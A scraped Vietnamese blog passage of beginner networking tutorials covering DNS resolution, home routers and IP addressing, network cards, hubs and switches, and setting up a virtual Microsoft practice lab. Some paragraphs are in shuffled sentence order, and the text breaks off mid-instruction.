gửi tới domain controller để thẩm định. tất cả chỉ là những gì đơn giản nhất nhằm giúp các bạn dễ hiểu. Nếu bạn đã từng đọc phần hai. Router sẽ chuyển các gói dữ liệu cần thiết từ mạng này sang mạng khác (chẳng hạn như Internet). nội dung của bài này đề cập đến hoạt động của các server DNS (hệ thống tên miền). quá trình thẩm định trên domain controller và cung cấp quyền truy cập tài nguyên mạng hơi phức tạp một chút. nếu domain controller xác nhận hợp lệ cho nhân dạng của tôi. Sau hai bài giới thiệu Hub và Switch. Kết luận Như bạn có thể thấy.com/portal/index.trithuccongdong. Router. máy tính của tôi đưa mã thông báo truy cập đặc biệt. về cơ bản đã được thẩm định bởi một domain controller. Có thể member server không tin tôi. member server sẽ chấp nhận và cung cấp khả năng truy cập bất cứ tài nguyên nào mà tôi có quyền. khi một máy tính cần truy cập thông tin trên một máy nằm ở mạng khác hay phân đoạn mạng khác. Để dễ hiểu hơn chúng ta sẽ lấy một ví dụ cụ thể.

Nhìn hình A bên dưới bạn sẽ thấy có thêm một tuỳ chọn cấu hình khác là "Preferred DNS server" (trình chủ hệ thống tên miền tham chiếu). trình duyệt Web của bạn phải biết địa chỉ IP của website. Như bạn có thể thấy trong hình minh hoạ. và vị trí thiết bị (xác định một máy tính cụ thể trong mạng). Sau đó trình duyệt cung cấp địa chỉ cho router. Bạn có thể hình dung quá trình mở website cũng giống như quá trình chuyển thư đến địa chỉ nhận ghi trên phong bì ở bưu điện vậy. Thư không thể đến đúng nơi nếu bạn chỉ ghi tên người nhận mà "quên mất" địa chỉ của họ. Biết về địa chỉ IP là yêu cầu cần thiết cho hoạt động truyền thông cơ sở TCP/IP giữa hai máy tính. Nhưng bạn không cần gõ địa chỉ IP mà trình duyệt vẫn mở được đúng website bạn muốn khi nhập tên miền vào. Khi bạn mở một trình duyệt Web và nhập tên website (được biết đến như là tên miền hay đường dẫn URL(Universal Resource Locator . Điều này là hết sức quan trọng vì máy tính không thể liên lạc được với máy tính khác sử dụng giao thức TCP/IP nếu nó không biết địa chỉ IP của máy kia. mặt nạ mạng con (subnet mask) và cổng vào mặc định (default gateway). Vậy địa chỉ IP ở đâu? Quá trình "dịch" tên miền thành địa chỉ IP là công việc của một server DNS (trình chủ hệ thống tên miền).bộ định vị vị trí tài nguyên chung). trình duyệt sẽ đến thẳng website mà không cần phải thông qua việc nhập địa chỉ IP. Để có thể truy cập vào website này. chúng tôi có đưa ra một ví dụ tạo một tham chiếu đến địa chỉ IP kết hợp với một website. Địa chỉ IP cũng giống như địa chỉ nhà vậy. Trong bài này chúng tôi sẽ chỉ cho bạn thấy lý do vì sao có thể thực hiện được. Nó gồm có vị trí mạng (là dãy số hiệu chỉ phân đoạn mạng máy tính đang hoạt động trong đó). Hình A: Tuỳ chọn Preferred DNS Server được định nghĩa như là một phần của cấu hình TCP/IP trong máy tính. router sẽ xác định đường đi tới mạng khác và yêu cầu các gói dữ liệu tới máy đích phù hợp. Trong hai bài trước chúng ta đã từng nói tới một số khái niệm về cấu hình TCP/IP của máy tính. Việc đến và mở được một website cũng như vậy. Mỗi website đều có một địa chỉ IP nhưng bạn có thể ghé thăm các website này hằng ngày mà không cần quan tâm đến dãy con số đó của nó. như địa chỉ IP. . Có nghĩa là máy tính sẽ luôn biết địa chỉ IP của DNS server. tuỳ chọn "Preferred DNS server" được định nghĩa như là một phần của cấu hình TCP/IP. Địa chỉ IP trong truyền thông mạng đóng vai trò như địa chỉ trên phong bì. tương tự như số nhà.nhớ. Máy tính của bạn không thể liên lạc được với website trừ khi nó biết địa chỉ IP của website đó. tương tự như tên phố.

các trình chủ DNS server thường được phân phối sang nhiều điểm. trình duyệt gửi địa chỉ URL vào trình chủ DNS server được chỉ định bởi cấu hình TCP/IP của máy tính bạn. Quá trình bắt đầu với việc bạn mở trình duyệt Web và nhập đường dẫn URL. Chẳng hạn. Network Solutions phụ trách tên miền ". Trên thế giới hiện nay có một tổ chức chuyên phụ trách việc cấp phát. DNS server của Network Solution đều chứa bản ghi trỏ tới DNS server được xem là chính thức cho từng miền. Nhưng không có nghĩa là Network Solutions duy trì danh sách các địa chỉ IP kết hợp với toàn bộ tên miền .COM sẽ không biết đến địa . Không có cách nào cho một server DNS đơn có thể bắt kịp tất cả các website và đáp ứng được tất cả yêu cầu từ bất kỳ ai có kết nối tới Internet. Do đó nó truy vấn thông tin địa chỉ IP của DNS sever từ cấu hình TCP/IP của máy tính và đưa đường dẫn URL lên trình chủ DNS server. Nó sẽ trả lại địa chỉ này cho trình duyệt và trong quá trình trả về nó cũng thực hiện việc đưa yêu cầu tới DNS server cụ thể đó. nó gửi yêu cầu tới DNS server của ICANN. Một DNS server trung tâm hoá thường là đích nhắm rất phổ biến của các cuộc tấn công.brienposey. trình duyệt biết rằng nó không thể xác định được vị trí của website nếu chỉ dựa vào một mình địa chỉ URL. Khi nhập yêu cầu vào trình duyệt. Do đó. DNS server của ICANN cũng không biết địa chỉ IP của website bạn đang muốn vào mà chỉ biết địa chỉ IP của DNS server chịu trách nhiệm với tên miền có đuôi . Nếu dung lượng của trình chủ không phải là vấn đề thì server cũng sẽ bị tràn bởi các yêu cầu xử lý tên nhận được từ người dùng Internet ở khắp mọi nơi. DNS sever sẽ không có bản ghi về website này. tránh cho một server DNS đơn phải cung cấp xử lý tên cho toàn bộ Internet. Bây giờ giả sử một trình chủ DNS server đơn có thể lưu trữ các bản ghi cho mọi website tồn tại. Thực sự quá trình giải thích này có thể được mô tả đơn giản hơn một chút. đăng ký tên miền Internet là Internet Corporation for Assigned Names and Numbers (hay ICANN). Lý do là bởi Internet quá lớn.com. Do quản lý tên miền cho toàn bộ mạng là một công việc khổng lồ nên ICANN phân bổ nhiều phần đáp ứng tên miền cho các hãng khác nhau. DNS server sau đó sẽ tra tìm đường dẫn URL trên bảng có danh sách địa chỉ IP của website. tưởng tượng rằng bạn muốn vào website www.COM. Có hàng triệu website và website mới được tạo ra mỗi ngày. Nếu bạn vào một website ngẫu nhiên. Để thấy được tất cả hoạt động như thế nào.com. Khi đó. Mức DNS server cao nhất dành cho tên miền đuôi . Giải pháp tên miền trong DNS chỉ có thể hoạt động nếu DNS server có chứa một bản ghi tương ứng với website được yêu cầu. Sau đó nó trả ra địa chỉ IP cho trình duyệt Web và trình duyệt có thể liên lạc với website được yêu cầu.com". Do đó. Trong hầu hết mọi trường hợp. Trình chủ DNS server không biết địa chỉ của website này.Bây giờ chúng ta sẽ xem xét điều gì xảy ra khi bạn cố gắng tới thăm một website.

Nhằm giảm bớt số truy vấn DNS phải thực hiện. . nhưng nó biết địa chỉ IP của DNS server chính thức cho tên miền brienposey. Trong phần này chúng ta sẽ thảo luận nội dung chi tiết của thiết bị mạng quan trọng nhất: router. còn nhiều router có mức giá “kinh khủng” thường được các đại gia là những gã khổng lồ ưa chuộng. Và DNS server này sẽ trả ra địa chỉ IP của website.php? option=com_content&task=view&id=373&Itemid=113 Được đăng bởi haodalat tại 6:07 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. Kết luận Trong bài này chúng tôi đã giải thích cách trình chủ DNS server được dùng để xử lý tên miền cho địa chỉ IP. đơn giản hay phức tạp thì mọi router đều hoạt động với các nguyên tắc cơ bản như nhau. Việc lưu trữ các địa chỉ IP nâng cao một cách tuyệt vời khả năng thực thi và tối thiểu hoá tổng lượng băng thông tiêu thụ cho các truy vấn DNS. Có nhiều kiểu router. cho dù đắt hay rẻ. có nhiều bước phải hoàn thành để một máy tính tìm ra địa chỉ IP của một website. từ đơn giản đến phức tạp. Song. Cho dù là người mới bắt đầu làm quen với mạng nhưng chắc hẳn bạn đã từng nghe nói đến router. Như bạn có thể thấy. sử dụng modem cáp hay modem DSL luôn đòi hỏi cần phải có router. Các kết nối Internet băng thông rộng. Nó sẽ gửi địa chỉ này trở lại máy đưa ra yêu cầu. Nhưng công việc của router không phải là cung cấp sự nối kết Internet mà là chuyển các gói dữ liệu từ mạng này tới mạng khác. Điều này giúp các server khỏi bị tràn và loại trừ khả năng có điểm lỗi đơn.com. NETWORK Kiến thức cơ bản về mạng: Phần 2 . Các router bình dân thường được dùng cho kết nối Internet gia đình.trithuccongdong.chỉ IP nào của website được yêu cầu. cho phép máy liên lạc với website nó yêu cầu. Bạn có thể hình dung ra quá trình duyệt Web sẽ tệ hại đến mức nào nếu máy tính của bạn phải thực hiện tập hợp đầy đủ các truy vấn DNS bất kỳ thời gian nào bạn muốn xem trang Web mới. Sau đó trình duyệt Web gửi truy vấn DNS tới DNS server có đủ thẩm quyền cho miền được yêu cầu. Theo Networking http://www. tuỳ thuộc vào máy được cấu hình như thế nào. nhưng bạn cần nhớ rằng ICANN và các nhà đăn ký DNS mức cao như Network Solutions sử dụng công nghệ load balacing (tải cân bằng) để phân phối yêu cầu qua nhiều server DNS khác.Router Đây là phần tiếp theo sau bài mở đầu về các thiết bị phần cứng mạng.com/portal/index. kết quả của các truy vấn này thường được lưu trữ liệu trong vài giờ hoặc vài ngày. Mặc dù quá trình được mô tả có vẻ khác đơn giản.

Ở đây. Cổng bên trái nhất là nơi điện nguồn được nối với router. Các modem này sẽ cung cấp kết nối thực tới Internet. trong đó một mạng là Internet thì mạng kia ở đâu? Trong trường hợp cụ thể này chính là máy tính được kết nối tới router. Còn tập hợp ở bên phải gồm bốn cổng RJ-45. Hình B xem chừng có vẻ thú vị hơn. Nhìn vào hình B bạn sẽ thấy có ba tập hợp cổng ở mặt sau router. Nó được cấu hình thực sự như một mạng đơn giản. Bởi vì đối tượng của bài này là những người mới bắt đầu làm quen mới mạng. Như đã nói ở trên. các cổng RJ-45 được dùng để cung cấp kết nối tới các máy tính trên mạng. Để hình dung rõ hơn. bạn sẽ tìm được cái mình cần trong một bài khác mà có dịp chúng tôi sẽ giới thiệu với các bạn sau. Hình A là mặt trước của một router băng thông rộng 3COM. Nhưng thực tế bạn nên biết mạng là một tập hợp lớn với các mạng con khác ở bên trong. router được dùng để cung cấp kết nối Internet. Trong trường hợp cụ thể này. Nếu bạn đã có hiểu biết cơ bản về router và muốn có kiến thức chuyên sâu hơn. Định nghĩa này có vẻ lạ trong ngữ cảnh các máy tính đã được kết nối với đường truyền Internet băng thông rộng. Router trong ví dụ ở đây có . chủ yếu được dùng để nối kết một máy tính vào mạng Internet băng thông rộng. Và tất nhiên sẽ dễ dàng hơn nhiều khi bắt đầu với những gì đã từng quen thuộc cho hầu hết mọi người thay vì động đến sự phức tạp của router dùng trong các tập đoàn lớn. công việc của một router là chuyển các gói dữ liệu từ mạng này tới mạng khác. Cổng giữa chủ yếu được dùng để kết nối router với một modem cáp hay modem DSL. những người chưa quen thuộc với thiết bị này có thể biết được một router trông như thế nào. thực sự không có điểm nổi bật đặc biệt nào trong mặt trước của router. Trong trường hợp của hub hay switch. Ở giữa là một cổng RJ-45 dùng cho việc kết nối mạng từ xa. Vậy. Ở router. còn hình B là mặt sau của nó. Hình A: Mặt trước của router băng thông rộng (broadband) 3COM Hình B: Router Internet băng thông rộng gồm một tập hợp các cổng RJ-45 giống như một hub hay switch Như bạn có thể thấy trên hình. bạn có thể xem ảnh minh hoạ trong Hình A và B. nếu công việc của một router là chuyển lưu lượng giữa hai mạng. các cổng đều hoạt động y như nhau. Sở dĩ chúng tôi vẫn đưa ra hình ảnh cụ thể của nó nhằm giúp các bạn. Nếu bạn xem lại phần đầu của loạt bài này bạn sẽ thấy các hub và switch cũng gồm số lượng lớn các nhóm cổng RJ-45. chúng ta sẽ tập trung vào các router đơn giản với giá thành thấp.

Bạn có thể tham khảo chi tiết hơn trong một bài khác mà có dịp chúng tôi sẽ giới thiệu sau. router cụ thể này có thể cung cấp thực sự một mạng bốn máy tính. Một subnet mask điển hình có dạng: 255. Địa chỉ mạng chỉ mạng cụ thể thiết bị đang tham gia trong nó còn mã số thiết bị thì cung cấp cho thiết bị một nhận dạng trên mạng. Địa chỉ IP là một dãy bốn số riêng phân tách nhau bởi các dấu chấm. Hầu hết người dùng gia đình đều sử dụng kiểu cấu hình chỉ cần cắm một PC vào router. Địa chỉ nhà thông thường luôn có số nhà và tên phố. Số nhà xác định cụ thể vị trí ngôi nhà trên phố đó.255. Số 0 cuối cùng ám chỉ không có bit nào trong vị trí tương ứng của địa chỉ IP là một phần của địa chỉ mạng. Ví dụ dễ hiểu nhất khi nói về IP là địa chỉ nhà. đầu tiên bạn phải biết một chút về cách thức hoạt động của giao thức TCP/IP.0. Công việc của một router là chuyển các gói tin từ mạng này tới mạng khác.0. xem xét một subnet mask rất cơ bản. Nó gồm mã số địa chỉ mạng và mã số thiết bị. Vậy kết thúc của địa chỉ mạng và khởi đầu của mã số thiết bị ở đâu? Đây là công việc của một subnet mask.168. Cụ thể hơn.1. con số cuối cùng là 0. Số 255 chỉ ra rằng tất cả các bit trong vị trí tương ứng của địa chỉ IP là một phần của mã số mạng. Hoạt động mạng con có khi rất phức tạp. Trong ví dụ cụ thể này. Internet là một mạng còn máy tính đóng vai trò là một mạng thứ hai. Còn bây giờ hãy quan tâm đến những thứ đơn giản nhất.255. Do đó chúng thuộc về mã số thiết bị. kiểu mạng này định tuyến các gói dữ liệu giữa một mạng nhỏ (ngay cả khi mạng đó chỉ có một máy tính đơn) và Internet (được xem như là mạng thứ hai). ba số dầu tiên (gọi là octet) đều là 255. Mọi thiết bị kết nối tới mạng TCP/IP đều có một địa chỉ IP duy nhất giới hạn trong giao diện mạng của nó. Subnet mask sẽ “nói” với máy tính vị trí cuối cùng của địa chỉ mạng và vị trí đầu tiên của số thiết bị trong địa chỉ IP. Địa chỉ IP cũng hoạt động tương tự như vậy. Lý do vì sao một máy tính đơn lẻ lại có thay thế như một mạng tổng thể là do router không coi PC là một thiết bị độc lập. So sánh với địa chỉ nhà bạn sẽ thấy địa chỉ mạng giống như tên phố còn mã số thiết bị giống như số nhà vậy. Như bạn có thể thấy trên hình B.một switch bốn cổng dựng sẵn. Router xem PC như một nút mạng. Ví dụ một địa chỉ IP điển hình có dạng: 192. . Subnet mask thoạt nhìn rất giống với địa chỉ IP vì nó cũng có 4 con số định dạng theo kiểu phân tách nhau bởi các dấu chấm. Quá trình định tuyến Để hiểu hoạt động định tuyến được thực hiện như thế nào. Ở trên chúng ta đã giải thích trong trường hợp của router băng thông rộng.

mỗi máy tính trên mạng cục bộ đều chia sẻ cùng một địa chỉ mạng. nó thực hiện bằng cách tham chiếu tới địa chỉ IP của máy tính đó. Nếu một máy cần truy cập vào máy nằm trên mạng khác thì mọi thứ sẽ khác hơn một chút. Tưởng tượng bạn có một máy tính với địa chỉ IP là 192.4 Như bạn thấy. Trong trường hợp này địa chỉ IP của router được chọn là 192. máy tính có địa chỉ 192.Nghe có vẻ khá lộn xộn.1. vì Web server không phải là một phần của mạng cục bộ.com.255.1 và mặt nạ mạng con là: 255.brienposey.168. một website nằm trên một server. Đó là cách cơ bản để nói với máy tính rằng nếu không biết chỗ gửi gói dữ liệu ở đâu thì hãy gửi nó tới địa chỉ cổng vào mặc định đã được chỉ định. bạn sẽ hiểu hơn với ví dụ sau.1. Địa chỉ của cổng vào mặc định là địa chỉ IP của một router.3 vì cả hai máy này đều là một phần trong cùng một mạng vật lý. mỗi Web server có một địa chỉ IP duy nhất.168. trong trường hợp cụ thể này.168.1.0.10.2 o 192.1.3 o 192.x là số mạng gắn với các máy tính kết nối với router trong hình B thì địa chỉ IP cho bốn máy tính viên có thể là: o 192.1.1. Giống như bất kỳ máy tính nào khác. Do đó vị trí mã số mạng của địa chỉ IP này là 192.168.168. Chẳng hạn. Điều này là rất quan trọng vì công việc của router là chuyển các gói dữ liệu từ một mạng sang mạng khác. Thay vào đó máy tính cần gửi gói dữ liệu sẽ xem xét đến địa chỉ cổng vào mặc định.255. Địa chỉ IP cho website này là 24.1.1. Khi một máy tính cần liên lạc với máy tính khác.168. còn mã số thiết bị thì khác nhau. nếu 192. Chẳng hạn. Điều này có nghĩa là ba octet đầu tiên của địa chỉ IP đều thuộc vào mã số mạng. Tất cả các thiết bị trong mạng (hoặc cụ thể là trên phân đoạn mạng) đều chia sẻ một mã số mạng chung.4.168. Bạn có thể thấy dễ dàng địa chỉ IP của website không nằm trên mạng 192. Trong trường hợp này ba octet đầu tiên của subnet mask đều là 255.1.168. Trong trường hợp này máy tính đang cố gắng tiếp cận với website không thể gửi gói dữ liệu ra ngoài theo mạng cục bộ.0 .235.168.168.1 có thể gửi dễ dàng các gói dữ liệu tới máy tính có địa chỉ 192.x. Cổng vào mặc định (default gateway) là một phần của cấu hình TCP/IP trong một máy tính.x.1.1 o 192.1.168. Giả sử rằng một trong số người dùng trên mạng cục bộ muốn ghé thăm website www.

Các mạng không dây là một mảng khác và sẽ được thảo luận chi tiết trong một bài riêng sau. Network Interface Card (card giao diện mạng). Công việc của card mạng là gắn một cách vật lý máy tính để nó có thể tham gia hoạt động truyền thông trong mạng đó.trithuccongdong. Network Adapter (Bộ điều hợp mạng) Thành phần đầu tiên nên đề cập tới trong số các thiết bị phần cứng mạng là bộ điều hợp mạng (network adapter). Network medium chính là kiểu cáp dùng trên mạng. Mở đầu là một số thảo luận về một số thành phần mạng khác nhau và chức năng của chúng. Không có router. sự nối kết giữa các mạng (chẳng hạn như Internet) là không thể. . Theo Networking http://www. Bạn đã từng thấy nhiều bài viết hướng đến mục đích dành cho các quản trị viên. Mỗi router có ít nhất hai địa chỉ IP. nhưng định tuyến đường đi cho gói dữ liệu tới các phần khác của Internet.com/portal/index. NETWORK Kiến thức cơ bản về mạng: Phần 1 . Trong bài đầu tiên này chúng ta sẽ thảo luận một số thiết bị mạng khác nhau và khả năng làm được những gì của chúng. NIC.Các thiết bị phần cứng mạng Trong loạt bài này chúng ta sẽ bắt đầu hoàn toàn với nội dung cơ bản về mạng máy tính và hướng tới xây dựng một mạng thiết thực.php? option=com_content&task=view&id=372&Itemid=113 Được đăng bởi haodalat tại 5:49 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. còn một do ISP của bạn quy định.Chú ý rằng địa chỉ IP của router chia sẻ cùng một địa chỉ mạng như các máy khác trong mạng cục bộ. Kết luận Như bạn có thể thấy. Điều đầu tiên bạn cần biết đến khi nói về card mạng là nó phải được ghép nối phù hợp với phương tiện truyền đạt mạng (network medium). ISP của bạn có các router riêng hoạt động cũng giống như mọi router khác. Công việc của router khi đó là chuyển các gói dữ liệu từ mạng cục bộ sang mạng ISP. những người ít nhất có một số kinh nghiệm nào đó. Một dùng cùng địa chỉ mạng của mạng cục bộ. router là thành phần mạng cực kỳ quan trọng. Thiết bị này còn được biết đến với nhiều tên khác nhau như network card (card mạng). Còn ở đây sẽ chỉ là những phần cơ sở nhất hướng đến đối tượng là những người mới bắt đầu làm quen với mạng. Sở dĩ phải như vậy để nó có thể truy cập tới các máy trong cùng mạng. Địa chỉ IP này dùng cùng một địa chỉ mạng của mạng ISP. Tất cả đều là thuật ngữ chung của cùng một thiết bị phần cứng. Trong phần ba của loạt bài này chúng ta sẽ thảo luận chi tiết hơn về nội dung của giao thức TCP/IP.

nhưng lớn hơn. Bạn có thể xem phần minh hoạ card mạng Ethernet trong ví dụ hình A dưới đây. tương phản với bộ kết nối RJ-45 dùng trong cáp Ethernet. chắc chắn bạn thường nghe nói đến thuật ngữ "broadband" (băng thông rộng). Token Ring. Với thời đại của khả năng truy cập Internet tốc độ cao ngày nay. thông thường bạn không thể chỉ chạy một cáp Ethernet giữa hai PC để gọi đó là một mạng. . Các dây này được sắp xếp theo thứ tự đặc biệt và đầu nối RJ-45 được gắn vào phần cuối cáp. Baseband sử dụng các dây riêng trong việc gửi và nhận dữ liệu. Arcnet hay một tiêu chuẩn mạng nào khác. còn ở Ethernet thì dùng hình thức truyền thông Baseband. hầu hết công nghệ mạng được đề cập đến ở trên đều nhanh chóng trở nên mai một. Điều này có nghĩa là nếu một máy tính đang gửi dữ liệu qua một dây cụ thể bên trong cáp Ethernet thì máy tính đang nhận dữ liệu cần một dây khác được định hướng lại tới cổng nhận của nó. dây cáp. Hình 2: Cáp Ethernet với một đầu kết nối RJ-45 Hub và Switch Như bạn đã thấy ở trên. trước khi xây dựng một mạng và bắt đầu mua card mạng. Hình 1: Card Ethernet Các mạng Ethernet hiện đại đều sử dụng cáp đôi xoắn vòng 8 dây. máy tính dùng card mạng để gửi và nhận dữ liệu.Để card mạng ghép nối phù hợp với phương tiện truyền đạt mạng là một vấn đề thực sự vì chúng đòi hỏi phải đáp ứng được lượng lớn tiêu chuẩn cạnh tranh bắt buộc. Chẳng hạn. Bạn có thể xây dựng mạng cho hai máy tính theo cách này mà người ta thường gọi là hình thức cáp chéo. Ngày nay. Bây giờ chỉ có một kiểu mạng sử dụng dây nối còn được dùng trong các doanh nghiệp vừa và nhỏ là Ethernet. Dữ liệu được truyền qua cáp Ethernet. Băng thông rộng là kiểu mạng trong đó dữ liệu được gửi và nhận qua cùng một dây. Các dây điện thoại dùng bộ kết nối RJ-11. Phác hoạ ra cái nào phù hợp nhất với tổ chức mình là điều hết sức quan trọng. Cáp RJ-45 trông giống như bộ kết nối ở phần cuối dây điện thoại. Tuy nhiên. Bạn có thể thấy ví dụ một cáp Ethernet với đầu nối RJ-45 trong hình B. Cáp chéo đơn giản là một cáp mạng có các dây gửi và nhận ngược nhau tại một điểm cuối để các máy tính có thể được liên kết trực tiếp với nhau. Mỗi tiêu chuẩn mạng có độ dài và nhược điểm riêng. Ethernet đồng trục. bạn phải quyết định xem liệu nên dùng Ethernet.

làm sao dữ liệu có thể đến được đúng đích cần đến nếu nhiều hơn hai máy tính được kết nối vào một hub? Bí mật nằm trong card mạng. mọi gói tin đều được gửi tới tất cả máy tính trong mạng.Vấn đề hạn chế khi dùng cáp mạng chéo là bạn không thể thêm hay bớt một máy tính khác nào ngoài hai máy đã được kết nối. dữ liệu đó phải được gửi qua dây nhận của máy tính khác. Đây là công việc của một hub hoặc switch. Vì hiểu về hub sẽ giúp bạn bạn dễ dàng hơn nhiều khi nói tới switch. Khi một máy tính cần truyền dữ liệu. nó kiểm tra xem liệu có máy nào khác đang gửi thông tin tại cùng thời điểm đó không. thực tế dữ liệu được gửi tới mọi máy có trong mạng. Vấn đề là máy tính nào cũng có thể gửi thông tin đi tại bất cứ thời gian nào. khi một máy tính được kết nối qua một hub. Nhiệm vụ khác của hub là sắp xếp các cổng theo cách để nếu một máy tính thực hiện truyền tải dữ liệu. Nếu đã có một một máy khác đang sử dụng . Có một số kiểu hub khác nhau nhưng thông thường nói đến hub tức là nói đến một cái hộp với một bó cổng RJ-45. Hình 3: Hub là thiết bị hoạt động như một điểm kết nối trung tâm cho các máy tính trong một mạng. nó truyền các dữ liệu cần thiết. Như bạn có thể thấy. máy tính sẽ biết rằng nó chính là người nhận dữ liệu. Mọi máy tính đều được cắm vào hub. Bạn đã từng thấy một cuộc họp mà trong đó tất cả thành viên tham dự đều bắt đầu nói cùng một lúc? Vấn đề của kiểu mạng này chính là như thế. Mỗi máy tính trong mạng sẽ được kết nối tới một hub thông qua cáp Ethernet. Bạn có thể thấy một hub có hình dáng như trong hình C. nếu không nó sẽ lờ dữ liệu đi. Hub có hai nhiệm vụ khác nhau. Nhiệm vụ thứ nhất là cung cấp một điểm kết nối trung tâm cho tất cả máy tính trong mạng. Các hub đa cổng có thể được đặt xích lại nhau nếu cần thiết để cung cấp thêm cho nhiều máy tính. Hub cũng đang trở nên lỗi thời nhưng chúng ta vẫn nên nói đến chúng. Tất cả máy tính đều nhận dữ liệu. Tất nhiên các dây gửi và nhận phải ngược nhau ở một số điểm nào đó để quá trình truyền thông được thực hiện thành công. Nếu đường truyền rỗi. Mỗi card Ethernet đều được cung cấp một địa chỉ vật lý MAC (Media Access Control) duy nhất. Ngay bây giờ có thể bạn sẽ tự hỏi. Nếu khớp. Khi một máy tính trong mạng Ethernet truyền tải dữ liệu qua mạng có các máy PC kết nối với một hub. hầu hết mọi mạng đều sử dụng cáp Ethernet thông thường không có các dây gửi và nhận ngược nhau ở cuối đầu nối. sau đó so sánh địa chỉ đích với địa chỉ vật lý MAC của nó. Do đó tốt hơn so với cáp chéo.

Do số lượng xung đột ngày càng tăng nên hiệu quả của mạng ngày càng giảm. Một switch (bạn có thể xem trên hình D). Chẳng hạn khi máy tính A đang liên lạc với máy tính B thì không có lý do gì để máy tính C không đồng thời liên lạc với máy tính D. Hình 4: Switch trông giống hệt như hub nhưng hoạt động khác hơn nhiều.php? option=com_content&task=view&id=371&Itemid=113 Được đăng bởi haodalat tại 5:39 CH 0 nhận xét Nhãn: co ban ve Mang may tinh.trithuccongdong. Điểm khác nhau chỉ là ở chỗ. Trong phần hai chúng ta vẫn sẽ tiếp tục quan tâm đến các thiết bị phần cứng mạng cơ bản. Trong một tên miền xung đột (collision domain). Đó là lý do vì sao bây giờ gần như switch đã thay thế toàn bộ hub. NETWORK Xây dựng hệ thống mạng thực hành Microsoft tại nhà bằng công nghệ ảo hoá Trước đây khi muốn có một hệ thống mạng cơ bản trên nền Microsoft tại nhà để thực hành thì phải có ít nhất 2 máy tính được nối mạng với nhau trong đó một máy đóng vai trò máy trạm và một máy đóng vai trò máy chủ còn nếu muốn làm những bài thực hành lớn hơn thì phải có nhiều hơn 3 máy tính và một switch để nối chúng lại. Theo Networking http://www. Cả hai máy tính sau đó sẽ phải chờ trong một khoảng thời gian ngẫu nhiên và cố gắng truyền lại các gói tin đã bị phá huỷ của mình.com/portal/index.đường truyền. Số lượng máy tính trên tên miền xung đột ngày càng tăng khiến số lượng xung đột cũng tăng. Có nghĩa là hai máy tính hoàn toàn tự do để liên lạc với nhau mà không cần phải lo lắng về xung đột. khi một PC trên mạng cần liên lạc với máy tính khác. các kiểu truyền thông song song này là không thể bởi vì chúng sẽ dẫn đến xung đột. Xin mời các bạn tiếp tục đón xem ở phần sau. chúng có thể thiết lập các đường dẫn truyền thông song song. thực hiện tất cả mọi nhiệm vụ giống như của một hub. các gói tin của dữ liệu đang được chuyển qua dây sẽ xung đột và bị phá huỷ (đây chính là lý do vì sao kiểu mạng này đôi khi được gọi là tên miền xung đột). Kết luận Trong bài này chúng ta đã thảo luận về một số thành phần cơ bản để tạo một mạng đơn giản. switch sẽ dùng một tập hợp các kênh logic nội bộ để thiết lập đường dẫn logic riêng biệt giữa hai máy tính. Switch thực sự nâng cao được đáng kể hiệu quả của mạng. Bởi chúng loại trừ xung đột và còn nhiều hơn thế. .

Sau bài viết này bạn sẽ được trang bị những kiến thức và thông tin cần thiết để có thể xây dựng một phòng thực hành Microsoft mini như ý Trước khi đi cụ thể vào cách xây dựng hệ thống mạng thực hành chúng ta tìm hiểu qua một chút về công nghệ ảo hoá. Tiếp theo để xây dựng hệ thống mạng thực hành ảo bạn có hai cách: Cách 1: Xây dựng máy ảo từ đầu 1.Khởi động Microsoft Virual PC .Với sự phát triển của công nghệ phần cứng và phần mềm ngày nay chúng ta hoàn toàn có thể dựng một hệ thống mạng như mong muốn trên một máy tính duy nhất bằng công nghệ ảo hoá. bạn cần cài đặt phần mềm ảo hoá Microsoft Virtual PC 2007. ảo hoá có thể chia ra làm hai loại chính là ảo hoá bằng phần cứng và ảo hoá bằng phần mềm.Công nghệ ảo hoá là công nghệ giúp ta tận dụng hiệu quả hơn sức mạnh của phần cứng bằng cách cắt chung ra thành những phần cứng ảo phù hợp theo yêu cầu.có thể tải miễn phí tại đây.7Ghz trở lên (khuyến cáo sử dụng Dual Core) RAM: (số máy trạm XP x 128Mb) + (số máy chủ Wins 2k3 x 256Mb) (khuyến cáo có từ 2Gb Ram trở lên ) HDD: 80Gb VGA: onboard 64Mb (khuyến cáo sử dụng card rời để không bị thắt cổ chai) NIC: 1 card trở lên Mẹo : Bạn nên chọn sử dụng AMD để có được giá thành thấp nhất nhưng tốc độ thực thi không hề kém cạnh sản phẩm Intel. Để ảo hoá bằng phần cứng ta cần những thiết bị cho phép ảo hoá nhưng chúng lại khá đắt tiền và không thông dụng. Ngoài ra ảo hoá cũng cho phép ta gom nhiều phần cứng lại thành một phần cứng ảo có cấu hình cao hơn cho phép ta có thể sử dụng hiệu quả và uyển chuyển hơn sức mạnh của phần cứng thật.Tuy nhiên do sản phẩm AMD khá nóng nên bạn cần trang bị hệ thống tản nhiệt phụ cho mainboard và CPU Sau khi bạn đã có hệ thống phần cứng sẵn sàng cho ảo hoá. Còn ảo hoá bằng phần mềm thì ta có các phần mềm cho phép thực thi ảo hoá như Microsoft Virtual PC 2007 hay Virtual Server 2007 hoàn toàn miễn phí Trước tiên để có thể chạy được một hệ thống mạng thực hành trên nền Microsoft thì bạn cần chuẩn bị cho mình một máy tính có cấu hình theo các thông số sau: Mainboard: hỗ trợ Ram DDR2 với bus 800Mhz trở lên CPU: Pentium 4 2.Do vậy đa phần chúng ta gặp khó khăn nhiều trong việc thực hành vì ít ai ở nhà có trên 2 máy tính.

Để sử dụng các máy ảo dựng sẵn ta làm như sau 1.Máy ảo này sẽ giống như một máy tính mới nguyên chưa cấu hình đĩa và chưa có hệ điều hành vì vậy ta sẽ làm tương tự các bước thực hiện trên máy thật để cài đặt và cấu hình máy ảo (xem hình 1) Cách 2: Sử dụng máy ảo có sẵn Thời gian gần đây Microsoft đưa ra một loạt máy ảo dựng sẵn cho phép chúng ta tải miễn phí về máy và chỉ trong vòng vài phút ta đã có ngay một hệ thống mạng dựng sẵn.com/technet/try/vhd/default.Sau khi đăng nhập xong .Tại trang tiếp theo ta chọn A new virtual hard disk 7.mspx 2.bạn sẽ chuyển đến trang chứa các link download.Sau khi bung ra xong ta chỉ cần chạy các file *.Trong cửa sổ tiếp theo ta chọn Hệ Điều Hành tương ứng cần cài đặt.tiếp theo ta chọn Create virtual machine.Ta chỉ cần đọc qua các bài thực hành viết sẵn trong file đính kèm là có thể nắm bắt và sử dụng ngay hệ thống này.Tại trang tiếp theo ta chọn 